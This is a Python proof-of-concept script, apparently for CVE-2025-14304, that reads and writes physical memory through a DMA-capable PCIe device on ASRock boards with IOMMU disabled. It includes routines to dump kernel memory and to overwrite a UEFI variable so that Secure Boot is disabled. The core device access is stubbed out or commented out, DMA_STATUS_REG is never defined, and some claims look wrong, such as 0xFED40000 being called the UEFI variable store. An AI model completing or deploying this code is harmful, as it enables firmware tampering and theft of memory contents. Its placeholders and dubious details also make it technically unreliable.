# CVE-2025-14304 PoC - DMA Memory Dump via PCIe Device
# This PoC demonstrates DMA-based memory access when IOMMU is disabled
# Requires a DMA-capable PCIe device (e.g., FPGA development board, PCIe hardware Trojan)
import struct
import ctypes
# Define DMA access parameters
DMA_CONTROL_REG = 0x0000
DMA_SRC_ADDR_REG = 0x0010
DMA_DST_ADDR_REG = 0x0018
DMA_SIZE_REG = 0x0020
DMA_CMD_START = 0x00000001
DMA_CMD_STOP = 0x00000002
class DMADevice:
def __init__(self, pci_addr):
self.pci_addr = pci_addr
self.handle = None
def connect(self):
"""Connect to DMA-capable PCIe device"""
# In real attack, this would open PCIe device handle
# self.handle = open_pcie_device(self.pci_addr)
print(f"[*] Connecting to DMA device at {self.pci_addr}")
return True
def dma_read_physical(self, phys_addr, size):
"""
Read physical memory via DMA
Args:
phys_addr: Physical memory address to read
size: Number of bytes to read
Returns:
bytes: Data read from physical memory
"""
# Configure DMA transfer
config = struct.pack('<QQI',
phys_addr, # Source: physical memory address
0x100000, # Destination: internal buffer
size # Transfer size
)
# Write DMA configuration to device registers
# self.handle.write(DMA_SRC_ADDR_REG, phys_addr)
# self.handle.write(DMA_DST_ADDR_REG, internal_buffer)
# self.handle.write(DMA_SIZE_REG, size)
# Start DMA transfer
# self.handle.write(DMA_CONTROL_REG, DMA_CMD_START)
# Wait for completion
# while not self.handle.read(DMA_STATUS_REG) & DMA_COMPLETE:
# pass
print(f"[+] DMA Read: 0x{phys_addr:016x} ({size} bytes)")
return b'\x00' * size # Placeholder for actual data
def dma_write_physical(self, phys_addr, data):
"""
Write data to physical memory via DMA
Args:
phys_addr: Physical memory address to write
data: Data to write
"""
# Configure reverse DMA transfer
# self.handle.write(DMA_SRC_ADDR_REG, data_buffer)
# self.handle.write(DMA_DST_ADDR_REG, phys_addr)
# self.handle.write(DMA_SIZE_REG, len(data))
# self.handle.write(DMA_CONTROL_REG, DMA_CMD_START)
print(f"[+] DMA Write: 0x{phys_addr:016x} ({len(data)} bytes)")
return True
def exploit_uefi_variable(phys_addr):
"""Example: Modify UEFI variable in memory"""
device = DMADevice("0000:01:00.0")
if device.connect():
# Read current UEFI variable
data = device.dma_read_physical(phys_addr, 64)
print(f"[*] Current variable: {data.hex()}")
# Modify variable (e.g., disable Secure Boot)
modified = bytearray(data)
modified[0] = 0x00 # Disable flag
device.dma_write_physical(phys_addr, bytes(modified))
print("[+] UEFI variable modified successfully")
def dump_kernel_memory():
"""Example: Dump kernel memory before OS security loads"""
device = DMADevice("0000:01:00.0")
if device.connect():
# Read first 1MB of physical memory (contains boot sector, kernel)
for offset in range(0, 0x100000, 0x1000):
data = device.dma_read_physical(offset, 0x1000)
if b'MZ' in data: # Windows PE signature
print(f"[*] Found boot sector at 0x{offset:016x}")
return data
if __name__ == "__main__":
print("[*] CVE-2025-14304 PoC - IOMMU Bypass via DMA")
print("[*] Target: ASRock/ASRockRack/ASRockInd motherboards with IOMMU disabled")
# Uncomment to run:
# dump_kernel_memory()
# exploit_uefi_variable(0xFED40000) # UEFI variable store